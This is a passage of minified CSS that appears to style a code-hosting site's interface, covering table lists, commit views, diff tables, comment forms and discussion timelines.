var(--color-border-default)}.table-list-cell.flush-left{padding-left:0}.table-list-cell.flush-right{padding-right:0}.table-list-header{position:relative;margin-top:20px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px 6px 0 0}.table-list-header::before{display:table;content:""}.table-list-header::after{display:table;clear:both;content:""}.table-list-header .btn-link{position:relative;display:inline-block;padding-top:13px;padding-bottom:13px;font-weight:400}.table-list-heading{margin-left:10px}.table-list-header-meta{display:inline-block;padding-top:13px;padding-bottom:13px;color:var(--color-fg-muted)}.table-list-header-toggle h4{padding:12px 0}.table-list-filters:first-child .table-list-header-toggle:first-child{padding-left:16px}.table-list-header-toggle.states .selected{font-weight:600}.table-list-header-toggle .btn-link{color:var(--color-fg-muted)}.table-list-header-toggle .btn-link .octicon{margin-right:4px}.table-list-header-toggle .btn-link:hover{color:var(--color-fg-default);text-decoration:none}.table-list-header-toggle .btn-link.selected,.table-list-header-toggle .btn-link.selected:hover{color:var(--color-fg-default)}.table-list-header-toggle .btn-link+.btn-link{margin-left:10px}.table-list-header-toggle .btn-link:disabled,.table-list-header-toggle .btn-link.disabled{pointer-events:none;opacity:.5}.table-list-header-toggle .select-menu{position:relative}.table-list-header-toggle .select-menu-item[aria-checked=true],.table-list-header-toggle .select-menu-item.selected{font-weight:600}.table-list-header-toggle .select-menu-button{padding-right:15px;padding-left:15px}.table-list-header-toggle .select-menu-button:hover,.table-list-header-toggle .select-menu-button.selected,.table-list-header-toggle .select-menu-button.selected:hover{color:var(--color-fg-default)}.table-list-header-toggle .select-menu-modal-holder{right:10px}.table-list-header-toggle .select-menu-modal-holder .select-menu-modal{margin-top:-1px}.table-list-header-next{margin-top:20px;margin-bottom:-1px}.table-list-header-next .table-list-header-select-all{padding-left:14px}.table-list-header-next .select-all-dropdown{padding-top:10px;padding-bottom:10px}.table-list-triage{display:none}.triage-mode .table-list-filters{display:none !important}.triage-mode .table-list-triage{display:block}.breadcrumb{font-size:16px;color:var(--color-fg-muted)}.breadcrumb .separator{white-space:pre-wrap}.breadcrumb .separator::before,.breadcrumb .separator::after{content:" "}.breadcrumb strong.final-path{color:var(--color-fg-default)}.capped-cards{list-style:none}.capped-card-content{display:block;background:var(--color-canvas-subtle)}.capped-card-content::before{display:table;content:""}.capped-card-content::after{display:table;clear:both;content:""}.details-collapse .collapse{position:relative;display:none;height:0;overflow:hidden;transition:height .35s ease-in-out}.details-collapse.open .collapse{display:block;height:auto;overflow:visible}.collapsible-sidebar-widget-button{display:flex;padding:0;align-items:center;background-color:transparent;border:0;justify-content:space-between}.collapsible-sidebar-widget-indicator{transition:transform .25s;transform:translate(0, 0) translate3d(0, 0, 0)}.collapsible-sidebar-widget-loader{display:none;visibility:hidden;opacity:0;transition:opacity .25s;animation-play-state:paused}.collapsible-sidebar-widget-content{width:100%;max-height:0;overflow:hidden;opacity:0;transition:max-height .25s ease-in-out,opacity .25s ease-in-out}.collapsible-sidebar-widget-loading .collapsible-sidebar-widget-indicator{display:none}.collapsible-sidebar-widget-loading .collapsible-sidebar-widget-loader{display:block;visibility:visible;opacity:1;animation-play-state:running}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-content{max-height:100%;overflow:visible;opacity:1}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-indicator{display:block;transform:rotate(180deg)}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-loader{display:none;visibility:hidden;opacity:0}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-active-hidden{display:none;opacity:0}.comment .email-format{line-height:1.5}.previewable-edit .previewable-comment-form{display:none}.previewable-edit .previewable-comment-form::before{display:table;content:""}.previewable-edit .previewable-comment-form::after{display:table;clear:both;content:""}.previewable-edit .previewable-comment-form .tabnav-tabs{display:inline-block}.previewable-edit .previewable-comment-form .form-actions{float:right;margin-right:8px;margin-bottom:8px}.previewable-edit.is-comment-editing .timeline-comment-header{display:none !important}.is-comment-editing .previewable-comment-form{display:block}.is-comment-editing .timeline-comment-actions,.is-comment-editing .edit-comment-hide{display:none}.is-comment-loading .previewable-comment-form{opacity:.5}.comment-show-stale{display:none}.is-comment-stale .comment-show-stale{display:block}.comment-body{width:100%;padding:16px;overflow:visible;font-size:14px}.comment-body .highlight{overflow:visible !important;background-color:transparent}.comment-form-textarea{width:100%;max-width:100%;height:100px;min-height:100px;margin:0;line-height:1.6}.comment-form-textarea.dragover{border:solid 1px var(--color-accent-emphasis)}.hide-reaction-suggestion:hover::before,.hide-reaction-suggestion:hover::after,.hide-reaction-suggestion:active::before,.hide-reaction-suggestion:active::after{display:none}.reaction-suggestion[data-reaction-suggestion-message]:hover::before,.reaction-suggestion[data-reaction-suggestion-message]:hover::after{display:inline-block}.reaction-suggestion[data-reaction-suggestion-message]::before,.reaction-suggestion[data-reaction-suggestion-message]::after{display:inline-block;text-decoration:none;animation-name:tooltip-appear;animation-duration:.1s;animation-fill-mode:forwards;animation-timing-function:ease-in;animation-delay:0s}.reaction-suggestion[data-reaction-suggestion-message]::after{content:attr(data-reaction-suggestion-message)}.discussion-topic-header{position:relative;padding:8px;word-wrap:break-word}.comment-form-error{padding:16px 8px;margin:8px;color:var(--color-fg-default);background-color:var(--color-danger-subtle);border:1px solid var(--color-danger-emphasis);border-radius:6px}.email-format{line-height:1.5em !important}.email-format div{white-space:pre-wrap}.email-format .email-hidden-reply{display:none;white-space:pre-wrap}.email-format .email-hidden-reply.expanded{display:block}.email-format .email-quoted-reply,.email-format .email-signature-reply{padding:0 16px;margin:16px 0;color:var(--color-fg-muted);border-left:4px solid var(--color-border-default)}.email-format .email-hidden-toggle a{display:inline-block;height:12px;padding:0 8px;font-size:12px;font-weight:600;line-height:6px;color:var(--color-fg-default);text-decoration:none;vertical-align:middle;background:var(--color-neutral-muted);border-radius:1px}.email-format .email-hidden-toggle a:hover{background-color:var(--color-accent-muted)}.email-format .email-hidden-toggle a:active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.comment-email-format div{white-space:normal}.comment-email-format .email-hidden-reply{display:none;white-space:normal}.comment-email-format .email-hidden-reply.expanded{display:block}.comment-email-format blockquote,.comment-email-format p{margin:0}.locked-conversation .write-tab,.locked-conversation .preview-tab{color:#c6cbd1}.write-tab:focus,.preview-tab:focus{outline:1px dotted var(--color-accent-emphasis)}.manual-file-chooser-transparent{min-height:0;overflow:hidden;opacity:.01}.manual-file-chooser-transparent::-webkit-file-upload-button{cursor:pointer}.manual-file-chooser-transparent:focus{opacity:1 !important}.markdown-body .highlight:hover .zeroclipboard-container,.markdown-body .snippet-clipboard-content:hover .zeroclipboard-container{display:block;animation:fade-in 200ms both}.markdown-body .highlight .zeroclipboard-container,.markdown-body .snippet-clipboard-content .zeroclipboard-container{display:none;animation:fade-out 200ms both}.rich-diff clipboard-copy{display:none}.commit-form{position:relative;padding:16px;border:1px solid var(--color-border-default);border-radius:6px}.commit-form::after,.commit-form::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.commit-form::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.commit-form::before{background-color:var(--color-border-default)}.commit-form .input-block{margin-top:8px;margin-bottom:8px}.commit-form-avatar{float:left;margin-left:-64px;border-radius:6px}.commit-form-actions::before{display:table;content:""}.commit-form-actions::after{display:table;clear:both;content:""}.commit-form-actions .BtnGroup{margin-right:4px}.merge-commit-message{resize:vertical}@media(max-width: 768px){.commit-form::after,.commit-form::before{display:none !important}}.commit-sha{padding:.2em .4em;font-size:90%;font-weight:400;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-muted);border-radius:.2em}.commit .commit-title,.commit .commit-title a{color:var(--color-fg-default)}.commit .commit-title.blank,.commit .commit-title.blank a{color:var(--color-fg-muted)}.commit .commit-title .issue-link{font-weight:600;color:var(--color-accent-fg)}.commit .sha-block,.commit .sha{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px}.commit.open .commit-desc{display:block}.commit-link{font-weight:400;color:var(--color-accent-fg)}.commit-ref{position:relative;display:inline-block;padding:0 4px;font:.85em/1.8 ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;color:var(--color-fg-muted);white-space:nowrap;background-color:var(--color-accent-subtle);border-radius:6px}.commit-ref .user{color:var(--color-accent-fg)}a.commit-ref:hover{color:var(--color-accent-fg);text-decoration:none;background-color:var(--color-accent-subtle)}.commit-desc{display:none}.commit-desc pre{max-width:700px;margin-top:8px;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:11px;line-height:1.45;color:var(--color-fg-default);white-space:pre-wrap}.commit-desc+.commit-branches{padding-top:8px;margin-top:2px;border-top:solid 1px var(--color-border-subtle)}.commit-author-section{color:var(--color-fg-default)}.commit-author-section span.user-mention{font-weight:400}.commit-tease-sha{display:inline-block;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:90%;color:var(--color-fg-default)}.commits-list-item[aria-selected=true],.commits-list-item.navigation-focus{background:#f6fbff}.commits-list-item .commit-title{margin:0;font-size:16px;font-weight:600;color:var(--color-fg-default)}.commits-list-item .commit-meta{margin-top:1px;font-weight:400;color:var(--color-fg-muted)}.commits-list-item .status .octicon{height:14px;line-height:14px}.commits-list-item .commit-author{color:var(--color-fg-muted)}.commits-list-item .octicon-arrow-right{margin:0 4px}.commits-list-item .btn-outline{margin-top:2px}.commits-list-item .commit-desc pre{margin-top:4px;margin-bottom:8px;color:var(--color-fg-muted)}.commits-list-item .commit-desc pre a{word-break:break-word}.commit-indicator{margin-left:4px}.commit-links-group{margin-right:4px}.commits-list-item+.commits-list-item{border-top:1px solid var(--color-border-default)}.full-commit{padding:8px 8px 0;margin:8px 0;font-size:14px;background:var(--color-neutral-subtle);border:1px solid var(--color-border-default);border-radius:6px}.full-commit:first-child{margin-top:0}.full-commit div.commit-title{font-size:16px;font-weight:600;color:var(--color-fg-default)}.full-commit .branches-list{display:inline;margin-right:8px;margin-left:2px;vertical-align:middle;list-style:none}.full-commit .branches-list li{display:inline-block;padding-left:4px;font-weight:600;color:var(--color-fg-default)}.full-commit .branches-list li::before{padding-right:4px;font-weight:400;content:"+"}.full-commit .branches-list li:first-child{padding-left:0}.full-commit .branches-list li:first-child::before{padding-right:0;content:""}.full-commit .branches-list li.loading{font-weight:400;color:var(--color-fg-muted)}.full-commit .branches-list li.pull-request{font-weight:400;color:var(--color-fg-muted)}.full-commit .branches-list li.pull-request::before{margin-left:-8px;content:""}.full-commit .branches-list li.pull-request-error{margin-bottom:-1px}.full-commit .branches-list li a{color:inherit}.full-commit .commit-meta{padding:8px;margin-right:-8px;margin-left:-8px;background:var(--color-canvas-default);border-top:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.full-commit .sha-block{margin-left:16px;font-size:12px;line-height:24px;color:var(--color-fg-muted)}.full-commit .sha-block>.sha{color:var(--color-fg-default)}.full-commit .sha-block>a{color:var(--color-fg-default);text-decoration:none;border-bottom:1px dotted var(--color-border-muted)}.full-commit .sha-block>a:hover{border-bottom:1px solid var(--color-border-default)}.full-commit .commit-desc{display:block;margin:-4px 0 8px}.full-commit .commit-desc pre{max-width:100%;overflow:visible;font-size:13px;word-wrap:break-word}.commit-branches{font-size:12px;color:var(--color-fg-muted);vertical-align:middle}.commit-branches .octicon{vertical-align:middle}.commit-build-statuses{position:relative;display:inline-block;text-align:left}.commit-build-statuses .dropdown-menu{min-width:362.6666666667px;max-width:544px;padding-top:0;padding-bottom:0}.commit-build-statuses .dropdown-menu .merge-status-list{max-height:170px;border-bottom:0}.commit-build-statuses .dropdown-menu-w,.commit-build-statuses .dropdown-menu-e{top:-11px}.commit-build-statuses .merge-status-item:last-child{border-radius:0 0 6px 6px}.dropdown-signed-commit .dropdown-menu{width:260px;margin-top:8px;font-size:14px;line-height:1.4;white-space:normal}.dropdown-signed-commit .dropdown-menu::after{border-bottom-color:var(--color-canvas-subtle)}.dropdown-signed-commit .dropdown-menu-w{top:-28px;margin-top:0}.dropdown-signed-commit .dropdown-menu-w::after{border-bottom-color:transparent;border-left-color:var(--color-canvas-subtle)}.signed-commit-header{line-height:1.3;white-space:normal;border-collapse:separate;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default);border-top-left-radius:6px;border-top-right-radius:6px}.signed-commit-header .octicon-verified{color:var(--color-success-fg)}.signed-commit-header .octicon-unverified{color:var(--color-fg-muted)}.signed-commit-footer{font-size:12px;line-height:1.5}.signed-commit-cert-info{margin-bottom:4px}.signed-commit-cert-info td{vertical-align:top}.signed-commit-cert-info td:first-child{width:44px;padding-right:12px}.signed-commit-badge{display:inline-block;padding:1px 4px;font-size:12px;color:var(--color-fg-muted);vertical-align:middle;-webkit-user-select:none;user-select:none;background:none;border:1px solid var(--color-border-default);border-radius:6px}.signed-commit-badge:hover{text-decoration:none;border-color:var(--color-neutral-muted)}.signed-commit-badge.verified{color:var(--color-success-fg)}.signed-commit-badge.verified:hover{border-color:var(--color-success-emphasis)}.signed-commit-badge.unverified{color:var(--color-attention-fg)}.signed-commit-badge.unverified:hover{border-color:var(--color-attention-emphasis)}.signed-commit-badge-small{margin-top:-2px;margin-right:4px}.signed-commit-badge-medium{padding:4px 8px;font-size:12px;border-radius:6px}.signed-commit-badge-large{padding:4px 12px;margin-right:8px;font-size:14px;line-height:20px;border-radius:6px}.signed-commit-verified-label{color:#1e7e34}.signed-commit-signer-name{font-size:14px;text-align:left}.signed-commit-signer-name .signer{display:block;font-weight:600;color:var(--color-fg-default)}.table-of-contents{margin:16px 0}.table-of-contents li{padding:8px 0;list-style-type:none}.table-of-contents li+li{border-top:1px solid var(--color-border-muted)}.table-of-contents li>.octicon{margin-right:4px}.table-of-contents .toc-diff-stats{padding-left:16px;line-height:26px}.table-of-contents .toc-diff-stats .octicon{float:left;margin-top:4px;margin-left:-16px;color:#c6cbd1}.table-of-contents .toc-diff-stats .btn-link{font-weight:600}.table-of-contents .toc-diff-stats+.content{padding-top:4px}.table-of-contents .octicon-diff-removed{color:var(--color-danger-fg)}.table-of-contents .octicon-diff-renamed{color:var(--color-fg-muted)}.table-of-contents .octicon-diff-modified{color:var(--color-attention-fg)}.table-of-contents .octicon-diff-added{color:var(--color-success-fg)}.copyable-terminal{position:relative;padding:8px 55px 8px 8px;background-color:var(--color-canvas-subtle);border-radius:6px}.copyable-terminal-content{overflow:auto}.copyable-terminal-button{position:absolute;top:5px;right:5px}.copyable-terminal-button .zeroclipboard-button{float:right}.copyable-terminal-button .zeroclipboard-button .octicon{padding-left:1px;margin:0 auto}.blob-wrapper{overflow-x:auto;overflow-y:hidden}.blob-wrapper table tr:nth-child(2n){background-color:transparent}.page-edit-blob.height-full .CodeMirror{height:300px}.page-edit-blob.height-full .CodeMirror,.page-edit-blob.height-full .CodeMirror-scroll{display:flex;flex-direction:column;flex:1 1 auto}.blob-wrapper-embedded{max-height:240px;overflow-y:auto}.diff-table{width:100%;border-collapse:separate}.diff-table .blob-code.blob-code-inner{padding-left:22px}.diff-table .line-comments{padding:10px;vertical-align:top;border-top:1px solid var(--color-border-default)}.diff-table .line-comments:first-child+.empty-cell{border-left-width:1px}.diff-table tr:not(:last-child) .line-comments{border-top:1px solid var(--color-border-default);border-bottom:1px solid var(--color-border-default)}.diff-view .blob-code-marker-context::before,.diff-view .blob-code-marker-injected_context::before,.diff-view .blob-code-marker-addition::before,.diff-view .blob-code-marker-deletion::before{top:4px}.diff-view .line-alert,.diff-table .line-alert{position:absolute;left:-60px;margin:2px}.comment-body .diff-view .line-alert{left:0}.blob-num{position:relative;width:1%;min-width:50px;padding-right:10px;padding-left:10px;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px;line-height:20px;color:var(--color-fg-subtle);text-align:right;white-space:nowrap;vertical-align:top;cursor:pointer;-webkit-user-select:none;user-select:none}.blob-num:hover{color:var(--color-fg-default)}.blob-num::before{content:attr(data-line-number)}.blob-num.non-expandable{cursor:default}.blob-num.non-expandable:hover{color:var(--color-fg-subtle)}.blob-num-hidden::before{visibility:hidden}.blob-code{position:relative;padding-right:10px;padding-left:10px;line-height:20px;vertical-align:top}.blob-code-inner{overflow:visible;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px;color:var(--color-fg-default);word-wrap:normal;white-space:pre}.blob-code-inner .x-first{border-top-left-radius:.2em;border-bottom-left-radius:.2em}.blob-code-inner .x-last{border-top-right-radius:.2em;border-bottom-right-radius:.2em}.blob-code-inner.highlighted,.blob-code-inner .highlighted{background-color:var(--color-attention-subtle);box-shadow:inset 2px 0 0 var(--color-attention-muted)}.blob-code-inner::selection,.blob-code-inner *::selection{background-color:var(--color-accent-muted)}.blob-code-inner.blob-code-addition,.blob-code-inner.blob-code-deletion{position:relative;padding-left:22px !important}.blob-code-marker::before{position:absolute;top:1px;left:8px;padding-right:8px;content:attr(data-code-marker)}.blob-code-context,.blob-code-addition,.blob-code-deletion{padding-left:22px}.blob-code-marker-addition::before{position:absolute;top:1px;left:8px;content:"+ "}.blob-code-marker-deletion::before{position:absolute;top:1px;left:8px;content:"- "}.blob-code-marker-context::before{position:absolute;top:1px;left:8px;content:" "}.blob-code-marker-injected_context::before{position:absolute;top:1px;left:8px;content:" "}.soft-wrap .diff-table{table-layout:fixed}.soft-wrap .blob-code{padding-left:18px;text-indent:-7px}.soft-wrap .blob-code-inner{word-wrap:break-word;white-space:pre-wrap}.soft-wrap .no-nl-marker{display:none}.soft-wrap .add-line-comment{margin-top:0;margin-left:-24px}.soft-wrap .blob-code-context,.soft-wrap .blob-code-addition,.soft-wrap .blob-code-deletion{padding-left:24px;text-indent:0}.blob-num-hunk,.blob-code-hunk,.blob-num-expandable{color:var(--color-fg-muted);vertical-align:middle}.blob-num-hunk,.blob-num-expandable{background-color:var(--color-diff-blob-hunk-num-bg)}.blob-code-hunk{padding-top:4px;padding-bottom:4px;background-color:var(--color-accent-subtle);border-width:1px 0}.blob-expanded .blob-num:not(.blob-num-context-outside-diff),.blob-expanded .blob-code:not(.blob-code-context){background-color:var(--color-canvas-subtle)}.blob-expanded+tr.show-top-border:not(.blob-expanded) .blob-num,.blob-expanded+tr.show-top-border:not(.blob-expanded) .blob-code{border-top:1px solid var(--color-border-muted)}.blob-expanded tr.show-top-border .blob-num-hunk,.blob-expanded tr.show-top-border .blob-num{border-top:1px solid var(--color-border-muted)}tr.show-top-border+.blob-expanded .blob-num,tr.show-top-border+.blob-expanded .blob-code{border-top:1px solid var(--color-border-muted)}.blob-num-expandable{width:auto;padding:0;font-size:12px;text-align:center}.blob-num-expandable .directional-expander{display:block;width:auto;height:auto;margin-right:-1px;color:var(--color-diff-blob-expander-icon);cursor:pointer}.blob-num-expandable .single-expander{padding-top:4px;padding-bottom:4px}.blob-num-expandable .directional-expander:hover{color:var(--color-fg-on-emphasis);text-shadow:none;background-color:var(--color-accent-emphasis);border-color:var(--color-accent-emphasis)}.blob-code-addition{background-color:var(--color-diff-blob-addition-line-bg);outline:1px dotted transparent}.blob-code-addition .x{color:var(--color-diff-blob-addition-fg);background-color:var(--color-diff-blob-addition-word-bg)}.blob-num-addition{color:var(--color-diff-blob-addition-num-text);background-color:var(--color-diff-blob-addition-num-bg);border-color:var(--color-success-emphasis)}.blob-num-addition:hover{color:var(--color-fg-default)}.blob-code-deletion{background-color:var(--color-diff-blob-deletion-line-bg);outline:1px dashed transparent}.blob-code-deletion .x{color:var(--color-diff-blob-deletion-fg);background-color:var(--color-diff-blob-deletion-word-bg)}.blob-num-deletion{color:var(--color-diff-blob-deletion-num-text);background-color:var(--color-diff-blob-deletion-num-bg);border-color:var(--color-danger-emphasis)}.blob-num-deletion:hover{color:var(--color-fg-default)}.is-selecting{cursor:ns-resize !important}.is-selecting .blob-num{cursor:ns-resize !important}.is-selecting .add-line-comment,.is-selecting a{pointer-events:none;cursor:ns-resize !important}.is-selecting .is-hovered .add-line-comment{opacity:0}.is-selecting.file-diff-split{cursor:nwse-resize !important}.is-selecting.file-diff-split .blob-num{cursor:nwse-resize !important}.is-selecting.file-diff-split .empty-cell,.is-selecting.file-diff-split .add-line-comment,.is-selecting.file-diff-split a{pointer-events:none;cursor:nwse-resize !important}.selected-line{position:relative}.selected-line::after{position:absolute;top:0;left:0;display:block;width:100%;height:100%;box-sizing:border-box;pointer-events:none;content:"";background:var(--color-attention-subtle);mix-blend-mode:var(--color-diff-blob-selected-line-highlight-mix-blend-mode)}.selected-line.selected-line-top::after{border-top:1px solid var(--color-attention-muted)}.selected-line.selected-line-bottom::after{border-bottom:1px solid var(--color-attention-muted)}.selected-line:first-child::after,.selected-line.selected-line-left::after{border-left:1px solid var(--color-attention-muted)}.selected-line:last-child::after,.selected-line.selected-line-right::after{border-right:1px solid var(--color-attention-muted)}.is-commenting .selected-line.blob-code::before{position:absolute;top:0;left:-1px;display:block;width:4px;height:100%;content:"";background:var(--color-accent-emphasis)}.add-line-comment{position:relative;z-index:1;float:left;width:22px;height:22px;margin:-2px -10px -2px -32px;line-height:21px;color:var(--color-fg-on-emphasis);text-align:center;text-indent:0;cursor:pointer;background-color:var(--color-accent-emphasis);border-radius:6px;box-shadow:var(--color-shadow-medium);opacity:0;transition:transform .1s ease-in-out;transform:scale(0.8, 0.8)}.add-line-comment:hover{transform:scale(1, 1)}.is-hovered .add-line-comment,.add-line-comment:focus{opacity:1}.add-line-comment .octicon{vertical-align:text-top;pointer-events:none}.add-line-comment.octicon-check{background:#333;opacity:1}.inline-comment-form{border:1px solid #dfe2e5;border-radius:6px}.timeline-inline-comments{width:100%;table-layout:fixed}.timeline-inline-comments .inline-comments,.show-inline-notes .inline-comments{display:table-row}.inline-comments{display:none}.inline-comments .line-comments+.blob-num{border-left-width:1px}.inline-comments .timeline-comment{margin-bottom:10px}.inline-comments .inline-comment-form,.inline-comments .inline-comment-form-container{max-width:780px}.comment-holder{max-width:780px}.comment-holder+.comment-holder{margin-top:16px}.line-comments+.line-comments,.empty-cell+.line-comments{border-left:1px solid var(--color-border-muted)}.inline-comment-form-container .inline-comment-form,.inline-comment-form-container.open .inline-comment-form-actions{display:none}.inline-comment-form-container .inline-comment-form-actions,.inline-comment-form-container.open .inline-comment-form{display:block}body.full-width .container,body.full-width .container-lg,body.full-width .container-xl{width:100%;max-width:none;padding-right:20px;padding-left:20px}body.full-width .repository-content{width:100%}body.full-width .new-pr-form{max-width:980px}.file-diff-split{table-layout:fixed}.file-diff-split .blob-code+.blob-num{border-left:1px solid var(--color-border-muted)}.file-diff-split .blob-code-inner{word-wrap:break-word;white-space:pre-wrap}.file-diff-split .empty-cell{cursor:default;background-color:var(--color-neutral-subtle);border-right-color:var(--color-border-muted)}@media(max-width: 1280px){.file-diff-split .write-selected .comment-form-head{margin-bottom:48px !important}.file-diff-split markdown-toolbar{position:absolute;right:8px;bottom:-40px}}.submodule-diff-stats .octicon-diff-removed{color:var(--color-danger-fg)}.submodule-diff-stats .octicon-diff-renamed{color:var(--color-fg-muted)}.submodule-diff-stats .octicon-diff-modified{color:var(--color-attention-fg)}.submodule-diff-stats .octicon-diff-added{color:var(--color-success-fg)}.BlobToolbar{left:-17px}.BlobToolbar-dropdown{margin-left:-2px}.pl-token:hover,.pl-token.active{cursor:pointer;background:#ffea7f}.discussion-timeline{position:relative;float:left}.discussion-timeline::before{position:absolute;top:0;bottom:0;left:72px;z-index:0;display:block;width:2px;content:"";background-color:var(--color-border-default)}.discussion-sidebar-item{padding-top:16px;font-size:12px;color:var(--color-fg-muted)}.discussion-sidebar-item .btn .octicon{margin-right:0}.discussion-sidebar-item .muted-icon{color:var(--color-fg-muted)}.discussion-sidebar-item .muted-icon:hover{color:var(--color-accent-fg);text-decoration:none;cursor:pointer}.discussion-sidebar-item+.discussion-sidebar-item{margin-top:16px;border-top:1px solid var(--color-border-muted)}.discussion-sidebar-item .select-menu{position:relative}.discussion-sidebar-item .select-menu-modal-holder{top:25px;right:-1px;left:auto}.discussion-sidebar-heading{margin-bottom:8px;font-size:12px;color:var(--color-fg-muted)}.discussion-sidebar-toggle{padding:4px 0;margin:-4px 0 4px}.discussion-sidebar-toggle .octicon{float:right;color:var(--color-fg-muted)}.discussion-sidebar-toggle:hover{color:var(--color-accent-fg);text-decoration:none;cursor:pointer}.discussion-sidebar-toggle:hover .octicon{color:inherit}button.discussion-sidebar-toggle{display:block;width:100%;font-weight:600;text-align:left;background:none;border:0}.sidebar-progress-bar .progress-bar{height:8px;margin-bottom:2px;border-radius:6px}.sidebar-assignee .css-truncate-target{max-width:110px}.sidebar-assignee .assignee{font-weight:600;color:var(--color-fg-muted);vertical-align:middle}.sidebar-assignee .assignee:hover{color:var(--color-accent-fg);text-decoration:none}.sidebar-assignee .reviewers-status-icon{width:14px}.sidebar-assignee .octicon{margin-top:2px}.thread-subscribe-form.is-error .thread-subscribe-button{color:var(--color-danger-fg)}.sidebar-notifications{position:relative}.sidebar-notifications .thread-subscription-status{padding:0;margin:0;border:0}.sidebar-notifications .thread-subscription-status .thread-subscribe-form{display:block}.sidebar-notifications .thread-subscription-status .reason{padding:0;margin:4px 0 0}.sidebar-notifications .thread-subscription-status .btn-sm{display:block;width:100%}.participation .participant-avatar{float:left;margin:4px 0 0 4px}.participation a{color:var(--color-fg-muted)}.participation a:hover{color:var(--color-accent-fg);text-decoration:none}.participation-avatars{margin-left:-4px}.participation-avatars::before{display:table;content:""}.participation-avatars::after{display:table;clear:both;content:""}.participation-more{float:left;margin:8px 4px 0}.inline-comment-form .form-actions,.timeline-new-comment .form-actions{padding:0 8px 8px}.inline-comment-form::before{display:table;content:""}.inline-comment-form::after{display:table;clear:both;content:""}.inline-comment-form .tabnav-tabs{display:inline-block}.inline-comment-form .form-actions{float:right}.gh-header-actions{float:right;margin-top:4px}.gh-header-actions .btn-sm{float:left;margin-left:4px}.gh-header-actions .btn-sm .octicon{margin-right:0}.gh-header{background-color:var(--color-canvas-default)}.gh-header .gh-header-sticky{height:1px}.gh-header .gh-header-sticky .meta{font-size:12px}.gh-header .gh-header-sticky .sticky-content,.gh-header .gh-header-sticky .gh-header-shadow{display:none}.gh-header .gh-header-sticky.is-stuck{z-index:110;height:60px}.gh-header .gh-header-sticky.is-stuck .sticky-content{display:block}.gh-header .gh-header-sticky.is-stuck .css-truncate-target{max-width:150px}.gh-header .gh-header-sticky.is-stuck+.gh-header-shadow{position:fixed;top:0;right:0;left:0;z-index:109;display:block;height:60px;content:"";background-color:var(--color-canvas-default);border-bottom:1px solid var(--color-border-default)}.gh-header .gh-header-edit{display:none}.gh-header .gh-header-meta .base-ref{display:inline-block}.gh-header .gh-header-meta .commit-ref-dropdown{display:none}.gh-header.open .gh-header-show{display:none}.gh-header.open .gh-header-edit{display:block}.gh-header.open .gh-header-meta .base-ref{display:none}.gh-header.open .gh-header-meta .commit-ref-dropdown{display:inline-block;margin-top:-4px;vertical-align:top}.gh-header-title{margin-right:150px;margin-bottom:0;font-weight:400;line-height:1.125;word-wrap:break-word}.gh-header-no-access .gh-header-title{margin-right:0}.gh-header-number{font-weight:300;color:var(--color-fg-muted)}.gh-header-meta{padding-bottom:8px;margin-top:8px;font-size:14px;color:var(--color-fg-muted);border-bottom:1px solid var(--color-border-default)}.gh-header.issue .gh-header-meta{margin-bottom:16px}.gh-header.pull .gh-header-meta{padding-bottom:0;border-bottom:0}.gh-header-meta .commit-ref .css-truncate-target,.gh-header-meta .commit-ref:hover .css-truncate-target{max-width:80vw}.gh-header-meta .State{margin-right:8px}.gh-header-meta .avatar{float:left;margin-top:-4px;margin-right:4px}.timeline-comment-wrapper{position:relative;padding-left:56px;margin-top:16px;margin-bottom:16px}.timeline-comment-avatar{float:left;margin-left:-56px;border-radius:6px}.timeline-comment-avatar .avatar{width:40px;height:40px}.timeline-comment-avatar .avatar-child{width:20px;height:20px}.timeline-comment{position:relative;color:var(--color-fg-default);background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.timeline-comment.will-transition-once{transition:border-color .65s ease-in-out}.timeline-comment.will-transition-once .timeline-comment-header{transition:background-color .65s ease,border-bottom-color .65s ease-in-out}.timeline-comment.will-transition-once::before,.timeline-comment.will-transition-once::after{transition:border-right-color .65s ease-in-out}.timeline-comment.current-user{border-color:var(--color-accent-muted)}.timeline-comment.current-user .timeline-comment-header{background-color:var(--color-accent-subtle);border-bottom-color:var(--color-accent-muted)}.timeline-comment.current-user .Label{border-color:var(--color-accent-muted)}.timeline-comment.current-user .previewable-comment-form .comment-form-head.tabnav{color:var(--color-accent-muted);background-color:var(--color-accent-subtle);border-bottom-color:var(--color-accent-muted)}.timeline-comment.unread-item,.timeline-comment.is-internal{border-color:var(--color-attention-muted)}.timeline-comment.unread-item .timeline-comment-header,.timeline-comment.is-internal .timeline-comment-header{background-color:var(--color-attention-subtle);border-bottom-color:var(--color-attention-muted)}.timeline-comment.unread-item .Label,.timeline-comment.is-internal .Label{border-color:var(--color-attention-muted)}.timeline-comment.unread-item .previewable-comment-form .comment-form-head.tabnav,.timeline-comment.is-internal .previewable-comment-form .comment-form-head.tabnav{color:var(--color-attention-muted);background-color:var(--color-attention-subtle);border-bottom-color:var(--color-attention-muted)}.timeline-comment:empty{display:none}.timeline-comment .comment+.comment{border-top:1px solid var(--color-border-default)}.timeline-comment .comment+.comment::before,.timeline-comment .comment+.comment::after{display:none}.timeline-comment .comment+.comment 